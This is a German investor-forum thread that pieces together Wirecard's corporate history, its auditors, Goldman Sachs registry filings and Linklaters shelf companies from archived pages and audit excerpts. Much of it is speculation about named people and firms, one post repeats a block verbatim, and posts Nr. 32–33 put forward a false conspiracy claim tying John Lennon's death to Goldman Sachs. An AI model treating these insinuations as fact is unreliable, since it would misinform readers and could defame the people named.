      HERMES is a technology solutions provider addressing the growing needs of the Travel, Services and Hospitality industry. Incorporated in 2007, Hermes is India's first Travel Solution and Distribution Company that has integrated and delivered all forms of travel related products and services in a single unified services platform. Our approach focuses on combining IT innovation and proven business models to deliver cutting edge technology solutions to the travel industry.

      Hermes has developed a travel platform to integrate all travel market segments in India with a goal to simplify ticket distribution procedures and processes.

      Our Travel Platform is unique in its technology architecture & implementation and differs from the prevailing CRS (Centralized Reservation System) and Web Portals. We have integrated our system with traditional Indian air carriers, all low cost carriers, car rental services, hotel reservations, bus services, train services, mobile recharges available in both vouchers & e-recharges modules and also tour package services across India insurance products, classified ad booking, and various utility services.

      Hermes through its travel platform solution is spearheading in organizing the largely unorganized regional bus services, tier2/tier3 hotels and car rental services and providing them access to large markets and a more efficient ticket distribution and reservation systems.

      We are currently working with a large number of Travel retail outlets (B-B) across India to cater all its travel products by terminal services that can be used by a common public by our B-B retailer Model. We are also working with several online travel portals to use its travel platform solutions and service the backend operations.


      2013
      Hermes made its humble beginning in 2006 and went on to play an important role in the Indian travel industry through its innovative technology approach and its ability to build a nation wide network of traditional travel agents as well as a new set of non traditional agents who have taken travel closer to the common man in India.


      Am 1. Mai 2011 (oder mit diesem datum) gab es plötzlich einen ganzen Berg an Informationen über Übernahmen und Kooperationen

      Als Referenz stand aber immer noch das Busunternehmen aus 2007 auf der Seite
      “We wish to inform you that M/s Hermes I Tickets (P) Ltd has done our e-ticketing software and we are very much satisfied with the performance. ”
      Sharma Transports


      Travel Managment Suite
      Airline Hosting Solutions
      Hermes Connect Solutions
      Transport Hosting Solutions
      Hermes Hotel Solution

      Es lässt sich nicht klären, von wann die folgenden Pressemeldungen sind:

      "Established fact that a reader will be distracted by readable."
      dort stand ursprünglich:
      "Hermes signs up with Yes Bank to provide Money transfer services."

      Hermes signs up with icash card to sell cash cards.

      "Get my trip"
      CTM- Corporate Travel and Expense Management solution with enhanced.

      Gaurav
      "Hermes provides hosting and distribution solution for Bihar Transport Corporation."

      Nagalnd
      "Nagaland Transport goes online on Hermes Hosting and distribution platform."


      UAE Exchange
      Hermes signs up with UAE exchange to provide International Money transfer.

      Hermes ties up with Druk Air, the national carrier of Royal Government of Bhutan epowering.


      Hermes has tied up with India Post exclusively through its subsidiary ARM i Solutions to provide ticketing and related services at all its computerized post offices across India. It has been launched in 9 circles so far.

      Teilweise sind diese Meldungen uralt, müsste man im einzelnen rekonstruieren

      Teilweise führen Links zu news zu genieindia.com

      Dort befindet sich Werbung für die AAM AADMI-Partei
      Dies scheint mit ARM i-solutions zusammen zu hängen
      For any information please feel free to contact us :
      India …


      zB
      http://web.archive.org/web/20111110095532/http://www.geniein…

      Über das Team wird man im Dunklen gelassen
      exemplarisch:
      ...
      (2011)

      http://web.archive.org/web/20111110095537/http://www.geniein…

      auch 2008 bei ease-ticket.com
      Enterprising individuals who has worked in the field of IT in airline industry, includes top professionals with a wealth of experience in handling an array of diverse projects. We are proud to have highly talented teams of professionals to meet our vision and goals.


      Every member of our team is evolved enough to have skills, attitude and experience complement with our products and offerings. Our teams comprise experienced specialists across various technologies and domains. This broad base enables us to offer the most effective solutions across multiple platforms.

      With creativity, keen acumen and ingenuity our Team ensures that the business touches the dizzying heights of success. Achieving this requires great people and a strong sense of who we are. Our Team includes strategists, creative directors, planners, designers, developers, and project managers and public relations professionals.



      Irgendetwas ist im Mai 2011 passiert
      http://web.archive.org/web/20110514131523/http://www.hermes-…

      Möglicherweise ist dieses Ereignis aber auch erst 2012 eingetreten (ca. zwischen April und Juni 2012)

      es hat was mit biyahe-ko (Philippinen) zu tun, denkbar ist aber auch, dass da biyahe-ko-Ereignis erst kurz später eingetreten ist (Anfang 2013)
      Avatar
      schrieb am 22.04.16 19:59:02
      Beitrag Nr. 29 ()
      Ah, die Floridafiliale der EBS hatte die Adresse 1649 Baydrive, Miami, Florida, Telefonnummer +1305 868 6916
      Mal sehen, ob mich das weiter bringt (Dankean das Vögelchen)


      ///// sehr historisch /////
      was anders zum Freitag Abend...

      Control5H GmbH WPG, München
      Infogenie Europe AG, Berlin
      31.12.2002
      195/22352
      ... von der Lage der Gesellschaft und stellt die Risiken der künftigen Entwicklung zutreffend
      dar.
      Ohne diese Beurteilung einzuschränken, weisen wir auf Folgendes hin:
      Im zusammengefassten Lagebericht und Konzernlagebericht ist unter „Wesentliche Risiken“
      ausgeführt, dass innerhalb des B2B-Geschäftsbereiches eine erhebliche Abhängigkeit von
      Großkunden (Inkassorisiko) besteht. Darüber hinaus ist unter „Wesentliche Risiken“ ausgeführt, dass das Unternehmen keine Reserven für den Fall hat, dass außerordentliche Ausgaben entstehen würden, die derzeit allerdings nach der Darstellung des Vorstandes nicht absehbar sind.
      Die Gesellschaft ist zum 31. Dezember 2002 bilanziell in Höhe von TEUR 222 überschuldet.
      Zur bilanziellen Überschuldung zum 31. Dezember 2002 ist festzuhalten, dass sich diese in
      2003 wegen der weiterhin aufgelaufenen Verluste zunächst noch weiter erhöht hat. Die bilanzielle Überschuldung ist jedoch zum Prüfungszeitpunkt insolvenzrechtlich bei der Gesellschaft insofern beseitigt, als die ebs Holding AG, Hallbergmoos, unter dem Datum vom 18.
      März 2003 eine Patronatserklärung über TEUR 450 gegenüber der InfoGenie Europe AG,
      Berlin, abgegeben hat. Die Patronatserklärung ist bis zum 31. 12. 2003 befristet. Sie ist im
      übrigen auflösend bedingt durch die Eintragung der mit der Sachkapitalerhöhung verbundenen Einbringung der ebs Global GmbH, Hallbergmoos, in die InfoGenie Europe AG, Berlin,
      gemäß notariellen Vertrag vom 27, 12. 2002 im Handelsregister. Mit Eintragung der Sachkapitalerhöhung am 24. März 2003 in das Handelsregister wurde die Patronatserklärung beendet und die zum 31. Dezember 2002 bei der InfoGenie Europe AG, Berlin, bestehende bilanzielle Überschuldung beseitigt.
      Aufgrund der prosperierenden und zukunftsorientierten Planungen und des Umstandes, der
      zwischenzeitlich am 9. Januar 2003 erfolgten Handelsregistereintragung der Barkapitalerhöhung in Höhe von TEUR 750, der Handelsregistereintragung der Sachkapitalerhöhung in
      Höhe von TEUR 6 500 am 24. März 2003, der damit verbundenen Erhöhung des Grundkapitals der Gesellschaft auf TEUR 8 309 und der Tatsache, dass der InfoGenie Europe AG,
      Berlin, das Bezugsrecht für Gewinne aus den Geschäftsanteilen an der ebs Global GmbH,
      Hallbergmoos, mit Wirkung vom 1. Januar 2002 zusteht, kann davon ausgegangen werden,
      dass das Risiko einer Entwicklungsbeeinträchtigung oder eine Gefährdung des Unterneh-
      mensfortbestandes der InfoGenie Europe AG, Berlin, - auch unter Berücksichtigung der von
      den gesetzlichen Vertretern der Gesellschaft genannten Risiken und der Anfang 2003 noch
      anhaltenden Verlustsituation der Gesellschaft und gegebenen Liquiditätsengpässen - deutlich entschärft worden ist.
      Insofern ist die Annahme, den Jahresabschluss zum 31. 12. 2002 unter der Prämisse des
      Fortbestandes der Gesellschaft aufzustellen, gerechtfertigt.


      quelle: wpk.de

      im Jahr darauf (2004 für 2003)

      Control5H GmbH WPG, München
      InfoGenie Europe AG, Berlin
      31.12.2003
      217/30504
      ... von. der Lage der Gesellschaft und stellt die Risiken der künftigen Entwicklung
      zutreffend dar.
      Ohne diese Beurteilung einzuschränken, weisen wir auf Folgendes hin:
      Im zusammengefassten Lagebericht und Konzernlagebericht ist unter „Wesentliche Risiken"
      ausgeführt, dass derzeit noch eine hohe Abhängigkeit von wenigen Großkunden und
      Carriern besteht. Darüber hinaus ist unter „Wesentliche Risiken" ausgeführt, dass die
      Liquiditätsbestände des Unternehmens gering sind und somit keine Reserven für den Fall
      vorhanden sind, dass außerordentliche Ausgaben entstehen würden, die derzeit allerdings
      nach der Darstellung des Vorstands nicht absehbar sind.
      Im Berichtsjahr konnten die Verluste der Berichtsgesellschaft nahezu vollumfänglich durch
      die Gewinnausschüttung und durch die Gewinnabführung der eingebrachten
      Tochtergesellschaft Inf0Genie Global GmbH kompensiert werden. Auch in nächster Zukunft
      wird die Unternehmensentwicklung der Berichtsgesellschaft davon abhängen, dass die
      mittels der Tochtergesellschaften eingebrachten Geschäftsmodelle ausreichende
      Ergebnisbeiträge beisteuern.
      Sofern sich die Profitabilität der im Geschäftsjahr eingebrachten Tochtergesellschaften nicht
      bestätigen wird, würde dies zu einer weiteren Aufzehrung der Liquiditätsbestände bzw. des
      bilanziellen Eigenkapitals führen. Dieser Effekt würde dann auch noch durch notwendige
      Abschreibungen auf die Finanzanlagen verstärkt.
      Wie bereits im abgelaufenen Geschäftsjahr aus der Sicht des Vorstands dargelegt, kann
      jedoch auch im laufenden Geschäftsjahr von einer ausreichenden Profitabiliät der
      Berichtsgesellschaft unter Einbezug der Ergebnisbeiträge der eingebrachten
      Tochtergesellschaften ausgegangen werden.
      Insofern ist die Annahme, den Jahresabschluss zum 31. Dezember 2003 unter der Prämisse
      des Fortbestands der Gesellschaft aufzustellen, gerechtfertigt.


      für 2008
      RP Richter GmbH WPG, München
      Wirecard AG, Grasbrunn b. München
      31.12.2008
      25.05.2009
      … von der Lage der Gesellschaft und stellt die Chancen und Risiken der künftigen
      Entwicklung zutreffend dar.
      Ohne diese Beurteilung einzuschränken, weisen wir auf die Ausführungen der Gesellschaft
      im Lagebericht und Anhang hin. Dort ist ausgeführt, dass gegen den Jahresabschluss 2007
      der Gesellschaft sowie gegen Beschlüsse der Hauptversammlung 2007 Anfechtungs- und
      Nichtigkeitsklage erhoben wurde, die in erster Instanz anhängig ist, also noch nicht
      entschieden wurde.


      für 2009
      RP Richter GmbH WPG, München
      Ernst & Young GmbH WPG, München
      Wirecard AG, Grasbrunn
      31.12.2009
      05.05.2010
      ... von der Lage der Gesellschaft und stellt die Chancen und Risiken der künftigen
      Entwicklung zutreffend dar.
      Ohne diese Beurteilung einzuschränken, weisen wir auf folgende festgestellte Besonderheit
      hin: Wie im Lagebericht ausgeführt, ist gegen den Jahresabschluss 2007 Nichtigkeitsklage
      sowie gegen zwei Beschlüsse der Hauptversammlung 2008 betreffend die Entlastung von
      Vorstand und Aufsichtsrat der Wirecard AG Anfechtungsklage erhoben worden und hat das
      Landgericht München I im Jahr 2009 einen Gutachter bestellt, wobei das Verfahren noch
      andauert.


      für 2010
      RP Richter GmbH WPG, München, und
      Ernst & Young GmbH WPG, München
      Wirecard AG, Grasbrunn
      31.12.2010
      17.05.2011
      … von der Lage der Gesellschaft und stellt die Chancen und Risiken der zukünftigen
      Entwicklung zutreffend dar.
      Ohne diese Beurteilung einzuschränken, weisen wir auf folgende festgestellte Besonderheit
      hin: Wie im Lagebericht ausgeführt, ist gegen den Jahresabschluss 2007 Nichtigkeitsklage
      sowie gegen zwei Beschlüsse der Hauptversammlung 2008 betreffend die Entlastung von
      Vorstand und Aufsichtsrat Anfechtungsklage erhoben worden, wobei das Verfahren noch
      andauert.


      interessant auch:
      für wen haben control5h / RPRichter noch geprüft?

      RP Richter GmbH WPG, München
      cdv Software Entertainment AG, Frankfurt
      31.12.2008
      18.08.2009
      RP Richter GmbH WPG, München
      New-York Hamburger Gummi-Waaren Compagnie AG, Hamburg
      31.12.2007
      24.03.2009
      Control5H GmbH WPG, München
      10tacle studios AG, Darmstadt
      31.12.2006
      01.06.2007/50


      Roland Weigl und Ulrich Burkhardt waren bei der (zu) kleinen control5h. Zu klein, weil - wie die SdK feststellte - wegen der zu großen finanziellen Abhängigkeit von der Wirecard Zweifel bestanden, ob die Prüfungsberichte überhaupt rechtmäßig seien. Dabei wurde wohl noch gar nicht eingerechnet, dass auch die Gummiwaarendingens und 10tacle "zur Familie" gehörten.

      control5h ging deshalb in RP Richter auf, diese in BakerTily (glaub ich). Interessant folgendes aus 2009
      um lange gemeinsam betreute Mandanten wie ING Real Estate und Credit Suisse Asset Management unter einem Dach vereinen zu können

      aber gut, die fabelhafte Welt der Wirtschaftsprüfer ist halt auch recht klein.

      Roland Weigl ist bei PaymentA1 gelandet, komischerweise sind viele Links plötzlich tot

      Deutsche Payment A1M AG
      Knesebeckstraße 95 10623 Berlin
      Tel: +49 (0) 30 – 577 0117 0
      Fax: +49 (0) 30 – 577 0117 99
      Mail: info@deutsche-payment.com
      Handelsregister: AG Charlottenburg, HRB-NR: 165128 B
      Ust-ID: DE217181557
      Vorstand: Alexander Herbst
      Aufsichtsratsvorsitzender: Roland Weigl


      http://deutsche-payment.de/
      weg! (seit heute mittag?)
      schaut mal den googlecache an
      https://www.google.de/search?num=100&q="roland+weigl"+"deuts…
      1 Antwort
      Avatar
      schrieb am 22.04.16 20:00:43
      Beitrag Nr. 30 ()
      Antwort auf Beitrag Nr.: 52.257.667 von jigajig am 22.04.16 19:59:02
      Zitat von jigajig: ///// sehr historisch /////
      was anders zum Freitag Abend...

      bisschen Hintergründe zu den Wirtschaftsprüfern Roland Weigl und Ulrich Burkhardt (Infogenie/Wire Card/10tacle u.a.)
      http://deutsche-payment.de/
      weg! (seit heute mittag?)

      schaut mal den googlecache an
      https://www.google.de/search?num=100&q="roland+weigl"+"deuts…[/quote]
      Avatar
      schrieb am 22.04.16 22:52:48
      Beitrag Nr. 31 ()
      Goldman Sachs

      Goldman Sachs (Russia) wurde 1991 gegründet unter dem Namen "J. ARON & COMPANY (BULLION)"
      Erst 2008 wurde die Firma umbenannt. Die Direktoren waren Metallhändler und Goldman Sachs-Leute.

      wikipedia
      Am 16. November 1981 übernahm Goldman Sachs die J. Aron & Company, ein Rohstoffhandelsunternehmen, welches mit der Fixed-Income-Abteilung zusammengeführt wurde und zur Abteilung Fixed Income, Currencies and Commodities wurde. Der Schwerpunkt der Aktivitäten bei der J. Aron & Company war der Kaffee- und Goldmarkt. Im Jahre 1985 war Goldman Sachs Underwriter des Börsenganges des Real-Estate-Investment-Trust, dem unter anderem auch das Rockefeller Center gehörte. Im Zuge des Zusammenbruchs der Sowjetunion beteiligte sich Goldman Sachs auch bei der Privatisierung ehemaliger russischer Staatsunternehmen.

      Das handelsregister dazu beginnt mit der Firmengründung 1991.
      J. Aron was founded by Jacob Aron in New Orleans in 1898. In addition to its large brokerage business in precious and base metals, coffee and other tropical commodities, J. Aron operates in the foreign exchange markets on behalf of banks and other financial institutions. It has a staff of about 400 and offices in New York and Chicago. (/quote]
      Im Gründungsdokument steht LINKLATER, in deren Büro die Firmenabwicklung stattfand.

      Lustig, ungefährlich, langweilig



      Die älteste Firma ist
      GOLDMAN SACHS INTERNATIONAL BANK
      Company number 01122503
      gegründet 1973

      Slaughter & May gründeten 1973 die "FIRST INTERNATIONAL BANCSHARES"

      Im September 1979 wurde beschlossen, die Firma in FIRST DALLAS LIMITED umzubenennen.
      Damals waren die Russen noch nicht einmal in Afghanistan einmarschiert.

      16 St Helen's Place, da passierte das (Adresse der National Bank Limited, auf dem Dokument steht handschriftlich "Nat West" = National Westminster Bank)

      bis 1995 sind alle Dokumente nicht verfügbar, dann kam ein neuer Director, unterzeichnet von "RFC Lawrie" [richard lawrie, linklaters?] und schon an der Adresse der GS London (Fleet Street, Peterborurgh Court)

      Goldman Sachs Limited wurde mal wieder unlimited und irgendwann zur GOLDMAN SACHS INTERNATIONAL BANK (nach einem großen Stapel Papier 1995)

      GS Geschichte in dieser Zeit:
      In the early 1990s, Goldman experienced huge trading losses linked to rising interest rates, management missteps and an investigation by Britain’s Serious Fraud Office of the firm’s links to controversial media magnate Robert Maxwell.



      Gehen wir in das Jahr 1991
      In an apparent bid to bolster the value of that collateral, Mr. Maxwell devised costly and possibly illegal deals in which other parties would buy his stock in return for payments. One such deal was arranged with Goldman, Sachs on Aug. 14, 1990. Starting in April 1991, there was a sharp increase in spending on price support for Maxwell Communication shares, said John Talbot, the Arthur Andersen & Company accountant now in charge of the private Maxwell holdings.

      Orders for the shares in April and July exceeded $236 million, "but the largest ones were in April," Mr. Talbot said in an interview. The orders came from offshore investment trusts, but were ultimately paid for by one of Mr. Maxwell's private companies, usually Bishopsgate Investment Trust. The scheme is now under formal investigation by the Serious Fraud Office of Britain. 40 Percent Surge in Stock Price

      Maxwell Communication's share price shot up to 239 pence in April, a 40 percent rise from February. An important aim, investigators believe, was to make the company look solid as Mr. Maxwell prepared to offer the public 49 percent of his Mirror Group Newspapers P.L.C. But it was also essential to keep the banks at bay; they held more and more Maxwell Communication stock.



      1998 fusionierten Coopers & Lybrand mit PWC, daher traten CL als Buchprüfer zurück zugunsten von PWC.

      Am 10.9.2001 wurden die Zahlen fürs Vorjahr veröffentlicht, 13.7Mio Gewinn oder so (profit for the financial period)

      im Jahr darauf (bis ende nov 2001) erwirtschaftete man -2,7Mio.

      Im März 2001 gab es in London Meldungen wegen eines Finanzskandals um den Medienmogul Maxwekll, bei dem es zu einem Aktien-Kreislaufgeschäft gekommen war

      Kevin Maxwell, son of the late business tycoon Robert Maxwell, bore "heavy responsibility" for the collapse of the Maxwell empire, an official report has found.

      The report from the Department of Trade and Industry (DTI) inspectors says that the "primary responsibility" for the collapse of the Maxwell business empire lies with its founder Robert Maxwell.

      Many of the City of London's most high-profile institutions are also criticised, including city investment bank Goldman Sachs and Coopers & Lybrand, now part of PriceWaterhouse Coopers (PWC).


      The report finds that Goldman Sachs bears a "substantial responsibility" for allowing Robert Maxwell to manipulate the stock market.
      Following the release of the report, Goldman Sachs said:"We, and doubtless many other firms in the city and elsewhere, were intentionally and successfully deceived. We deeply regret this and, with the benefit of hindsight and with the information available to us, would have acted differently."
      The investment bank was found innocent of any wrongdoing in the criminal inquiry that followed Maxwell's death.

      Na klar, seit Jahren dabei, aber schuldlos.

      2003 wurde PWC zur LLP und zum neuen Audiot (Unterschrift: Pricewaterhousecoopers, ernsthaft)

      -----
      an dieser Stelle habe ich keine Lust mehr
      2006 und v.a. 2007 gab es jede Menge Umschichtungen.

      In 1999 Goldman finally went public, further enriching top executives such as CEO Hank Paulson, who saw his personal net worth rise to more than $300 million. Yet Goldman avoided the merger mania to which many of its competitors succumbed.

      During the first half of the 2000s, there were more ethical lapses at Goldman:

      In 2002 it was fined $1.65 million by the industry regulatory body NASD (now FINRA) for failing to preserve e-mail communications.



      In 2003 it paid $110 million as its share of a global settlement by ten firms with federal, state and industry regulators concerning alleged conflicts of interest between their research and investment banking activities.



      That same year, it had to pay $9.3 million in fines and disgorgement of profits in connection with federal allegations that it failed to properly oversee a former employee who had been charged with insider trading and perjury.



      In 2004 Goldman was one of four firms each fined $5 million by NASD for rule violations relating to trading in high-yield corporate bonds; Goldman also had to make restitution payments of about $344,000.

      In 2005 the U.S. Securities and Exchange Commission (SEC) announced that Goldman would pay a civil penalty of $40 million to resolve allegations that it violated rules relating to the allocation of stock to institutional customers in initial public offerings.



      That same year, it paid a fine of $125,000 to NASD for violating rules relating to the sale of restricted securities during initial public offerings. Shortly thereafter, it was fined $140,000 by NASD for late and/or inaccurate reporting of municipal securities transactions.

      In 2006 Goldman was one of 15 financial services companies that were fined a total of $13 million in connection with SEC charges that they violated rules relating to auction-rate securities. In another case relating to auction-rate securities brought by the New York State Attorney General, Goldman was fined $22.5 million in 2008.



      Da gibt es den ersten Punkt, den ich nicht verstehe "CHARGES"
      https://beta.companieshouse.gov.uk/company/01122503/charges
      "16 charges registered
      14 outstanding, 2 satisfied, 0 part satisfied "

      was soll das heißen?
      Die Namen dort sind eine illustre Gesellschaft

      Euroclear, Barclays, Dresdner Bank, Bavaria TRR (?) (mehrfach), Depfa, Hypo, Goldman Sachs selbst und 1980 die Bank of America.

      Leider sind die meisten Dokumente nicht verfügbar
      Created
      19 May 1980
      Delivered
      19 May 1980
      Status
      Satisfied
      Persons entitled
      Bank of Americanational Trust and Savings Association
      First National Bank in Dallas

      Short particulars
      1 mc donnell douglas corporation D.C. 10. (see schedule…


      häh? eine DC-10?
      Damals war Godman Sachs noch gar nicht so mächtig...
      Although it had been founded in the 1860s and managed its first initial public offering in 1906, Goldman did not become a top player on Wall Street until the 1980s.


      Was passierte 1980 zwischen der Bank of America, der FNB in Dalls und Goldman Sachs und hatte mit einer DC10 zu tun???

      2007 war dann irgendwas zwischen Godman und der DEPFA. Ich verstehe nur Bahnhof
      https://beta.companieshouse.gov.uk/company/01122503/charges/…

      2007 Bavaria TRR Corporation (unavailable)

      Persons entitled

      Bavaria Trr Corporation (Secured Party)

      Amount secured

      All monies due or to become due from goldman sachs credit partnes L.P. to the chargee under the terms of the aforementioned instrument creating or evidencing the charge
      Short particulars

      All right title and interest in the finance documents,. See the mortgage charge document for full details.


      um was geht es denn da nur???
      Im GB der Hypovereinsbank steht 2008 lapidar
      ...

      Googlen nach HV, Bavaria TRR und Goldman kommt Charles Schwab raus

      und
      "Bavaria TRR Corporation purchases equity and debt securities and loans in the secondary market. The Company is sponsored by Bayerische Hypo- und Vereinsbank. "

      Bedeutung? keine Ahnung.

      Bavaria TRR kommt mehrfach vor.

      zwischen April und Juni 2007 gibt es 6 solcher Meldungen bzgl. Bavaria TRR Hypo oder Depfa

      im August dann 2 mit "Dresdner Bank"

      irgendwelche Ideen, worum es da geht?



      der Rest der Geschichte ist ja bekannt
      The forced restructuring of Wall Street took place largely under the direction of Treasury Secretary Hank Paulson, who left Goldman in 2006 to take the post at the request of President George W. Bush. Although Paulson was required to liquidate his sizeable Goldman holdings before moving to Treasury, his actions during the 2008 crisis were widely criticized as working to the benefit of his former firm. Chief among these was the allegation that he allowed Lehman Brothers to collapse while taking pains to bail out insurance giant A.I.G., which had extensive dealings with Goldman and which used its federal support to pay off its obligations at 100 cents on the dollar. In the case of Goldman, this amounted to $12.9 billion. The tendency of Paulson to recruit other Goldman alumni for his crisis team prompted the nickname “Government Sachs.” It later came out that Paulson was in frequent contact with Lloyd Blankfein, his successor at Goldman, during the height of the crisis.


      Wie man Goldman Sachs als ansatzweise seriös bezeichnen kann, erschließt sich mir jetzt nicht ganz direkt.
      Avatar
      schrieb am 22.04.16 23:08:10
      Beitrag Nr. 32 ()
      Als der Beatlessong "Maxwell's Silver Hammer" auf der Platte landete, lautete der Text u.a.
      Bang, bang, Maxwell's silver hammer
      Came down upon her head
      Bang, bang, Maxwell's silver hammer
      Made sure that she was dead

      weitere eindeutge Belege aus dem text
      P.C. Thirty-One said "We caught a dirty one"
      Maxwell stands alone (sic!)
      Painting testimonial pictures ohh oh oh oh

      in der Session zu dem Song wird aber ein anderer Text gesungen:
      "made sure that JOAN was dead"
      gemeint war aber natürlich "JOHN" (Lennon)
      Lennon wusste schon 1981 Bescheid, was Goldman Sachs Ende der Neunziger vorgehabt haben und wurde deshalb 1981 ermordet.
      schaut das Video ruhig an! Als "Joan" gesungen wird, schwenkt die Kamera auf John Lennon!
      Avatar
      schrieb am 22.04.16 23:11:51
      Beitrag Nr. 33 ()
      hier der Videobeweis!
      Avatar
      schrieb am 22.04.16 23:15:34
      Beitrag Nr. 34 ()
      Avatar
      schrieb am 23.04.16 01:45:21
      Beitrag Nr. 35 ()
      GOLDMAN SACHS INTERNATIONAL
      https://beta.companieshouse.gov.uk/company/02263951

      gegründet 1988
      als TRUSHELFCO #1266

      seitenweise Dokumenten, auch wieder so mortgage/charge zeug


      was ist das denn?
      https://beta.companieshouse.gov.uk/company/02263951/charges[…

      TRUSHELFCO ist eine Shelfcompany von LINKWATERS
      siehe hier
      https://www.duedil.com/director/914209527/edward-chan/direct…

      (Edward Chan hat übrigens eine Rolle gespielt im Prozess der reichsten Asiatin, Nina Wang, über die ich schon gesprochen habe. Ihr Mann Teddy ist 2x entführt worden, bei der zweiten Entführung blieb er für immer verschollen und wurde für tot erklärt. Eine Firma aus dem Imperium der Frau Wand war die frühere Cable&Wireless Hong Kong, später VISL. Die VISL wurde bereits 1994 im Focus genannt im Zusammenhang mit Telefongebührenbetrug. Von der VISL führen zahllose Spuren in Telefonbetrugsfälle auf der ganzen Welt, u.a. auch nach Deutschland.)

      Die TRUSHELFCO hat eine Zwillingsschwester, die HACKREMCO

      Linklaters hat immer Firmen gegründet, die "Trushelfco Nr sowieso" oder "Hackremco Nr sowieso" hießen.

      Morgan Stanley, Goldman Sachs, Airbus, The Independent, usw usf
      https://www.google.de/search?num=100&q=trushelfco

      https://www.google.de/search?num=100&q=hackremco

      eine der frühen HACKREMCOS (die Nr 76) ist Middelhoffs INVESTCORP INTERNATIONAL LIMITED
      https://www.google.de/search?num=100&q=hackremco+middelhoff

      Es gibt Offshoreleaks, Panama Papers... aber wann gibt es eigentlich die Linklaterslink-Papers?

      Die Hackremco #1 ist die INFRARED CAPITAL PARTNERS LLP
      https://www.google.de/search?num=100&site=&source=hp&q="infr…" target="_blank" rel="nofollow ugc noopener">https://beta.companieshouse.gov.uk/company/02263951/charges[…

      TRUSHELFCO ist eine Shelfcompany von LINKWATERS
      siehe hier
      https://www.duedil.com/director/914209527/edward-chan/direct…

      (Edward Chan hat übrigens eine Rolle gespielt im Prozess der reichsten Asiatin, Nina Wang, über die ich schon gesprochen habe. Ihr Mann Teddy ist 2x entführt worden, bei der zweiten Entführung blieb er für immer verschollen und wurde für tot erklärt. Eine Firma aus dem Imperium der Frau Wand war die frühere Cable&Wireless Hong Kong, später VISL. Die VISL wurde bereits 1994 im Focus genannt im Zusammenhang mit Telefongebührenbetrug. Von der VISL führen zahllose Spuren in Telefonbetrugsfälle auf der ganzen Welt, u.a. auch nach Deutschland.)

      Die TRUSHELFCO hat eine Zwillingsschwester, die HACKREMCO

      Linklaters hat immer Firmen gegründet, die "Trushelfco Nr sowieso" oder "Hackremco Nr sowieso" hießen.

      Morgan Stanley, Goldman Sachs, Airbus, The Independent, usw usf
      https://www.google.de/search?num=100&q=trushelfco

      https://www.google.de/search?num=100&q=hackremco

      eine der frühen HACKREMCOS (die Nr 76) ist Middelhoffs INVESTCORP INTERNATIONAL LIMITED
      https://www.google.de/search?num=100&q=hackremco+middelhoff

      Es gibt Offshoreleaks, Panama Papers... aber wann gibt es eigentlich die Linklaterslink-Papers?

      Die Hackremco #1 ist die INFRARED CAPITAL PARTNERS LLP
      https://www.google.de/search?num=100&site=&source=hp&q="infr…
      Avatar
      schrieb am 23.04.16 01:47:02
      Beitrag Nr. 36 ()
      bin zu müde. falls jmd die richtigen links nicht findet, bitte nachfragen
      Avatar
      schrieb am 23.04.16 09:24:38
      Beitrag Nr. 37 ()
      Antwort auf Beitrag Nr.: 52.205.416 von jigajig am 16.04.16 23:03:54
      Zitat von jigajig: eine Studie über 4,1 Millionen merchants, Telefonnummern in Dubai und andere belanglose Dinge
      [...]
      2004 oder so stand mal, dass einer EBS Holding AG 100% einer "Card Systems, LCC, Dubai" gehören würden. Aber da dachte ich, die haben halt LCC und LLC verwechselt und die "Card Systems" gemeint.

      Oh jigajig muß mehr schlafen!
      2004 gehörte "CARD SYSTEMS" zur EBS Holding AG, natürlich nicht "PROCARD" und wahrscheinlich haben sie wirklich nur LCC und LLC verwechselt.
      Insofern ist mein Satz nicht falsch, aber völlig sinnlos, da ICH die Procard mit der "Card Systems" verwechselt habe. Denke ich. Der Rest des postings (u.a. die magische Zahl von "4,1 Millionen merchants" bleibt davon unberührt.

      Aber damit ich nicht ganz wie der Depp vom Dienst aussehe (oder zumindest nicht nur aufgrund eines so einfachewn Fehlers), hier der entsprechende Auszug aus dem Aktienprospekt 2005, man beachte den in meinen Augen kryptischen Satz darunter.
      Ich werde das gelegentlich noch einmal durchgehen


      http://img1.img1.de/procarda11cb.jpg
      Avatar
      schrieb am 23.04.16 10:10:17
      Beitrag Nr. 38 ()
      Das ist aber auch ein Durcheinander bei der Wirecard. 2012 heißt es dann eben "formerly Procard FZ-LLC". ein Wunder, dass man da nicht mehr durchblickt.


      Wirecard Processing FZ-LLC war Procard FZ-LCC
      cardSystems Middle East FZ-LLC war cardSystems FZ-LLC (und eben NICHT Card Systems, LCC, Dubai wie im "Aktienprospekt" 2005).
      1 Antwort
      Avatar
      schrieb am 23.04.16 10:12:53
      Beitrag Nr. 39 ()
      Antwort auf Beitrag Nr.: 52.259.560 von jigajig am 23.04.16 10:10:17
      Zitat von jigajig: Das ist aber auch ein Durcheinander bei der Wirecard. 2012 heißt es dann eben "formerly Procard FZ-LLC". ein Wunder, dass man da nicht mehr durchblickt.

      http://www.img1.de/?img=procard2012185a4.jpg

      Wirecard Processing FZ-LLC war Procard FZ-LCC
      cardSystems Middle East FZ-LLC war cardSystems FZ-LLC (und eben NICHT Card Systems, LCC, Dubai wie im "Aktienprospekt" 2005).
      Avatar
      schrieb am 24.04.16 01:52:54
      Beitrag Nr. 40 ()
      Das war die Mail der Wirecard, die an "sell side"-Leute geschickt wurde

      8. Wirecard has never acquired Asia Pacific E-Serv Corporation (aspaconline).
      Wirecard Asia Pacific, Philippines was a newly established company in 2007 and
      was dissolved in 2012.
      Mr Magleo's incorrect CV was updated on the website of Paynamics, Philippines.
      Mrs Magleo headed the finance department of Wirecard Asia Pacific, Inc. during its
      time of operation. She was not involved in any legal cases involving Wirecard or her
      past activities as an officer of a subsidiary of Wirecard.


      Es gab eine Wirecard Asia Pacific Pte Ltd in Singapur
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      www.ecreditsing.com

      2009 archiviert (Plex Standardseite)
      2014 "Forbidden You don't have permission to access / on this server."

      aber wer sucht, der findet
      (2010)
      CORPORATE PROFILE
      Company Name: E-CREDIT PLUS SINGAPORE PTE LTD
      Established: 2005

      Head Office: #17-00 THE CORPORATE OFFICE
      138 ROBINSON ROAD
      SINGAPORE 068998
      General: +65 6747 0165
      Fax: + 65 6748 8963
      Corporate Site: http://www.ecreditsing.com

      Business Segments: Web Infrastructure & E-commerce Internet Media

      Affiliations: IA Japan - Internet Association Japan
      ICANN - Internet Corporation for Assigned Names and Numbers
      JAIPA - Japan Internet Providers Association
      JIAA - Japan Internet Advertising Association
      JPNIC - Japan Network Information Center

      Trading Banks: DBS Bank Limited Singapore
      UOB Bank Limited Singapore
      American Express Singapore
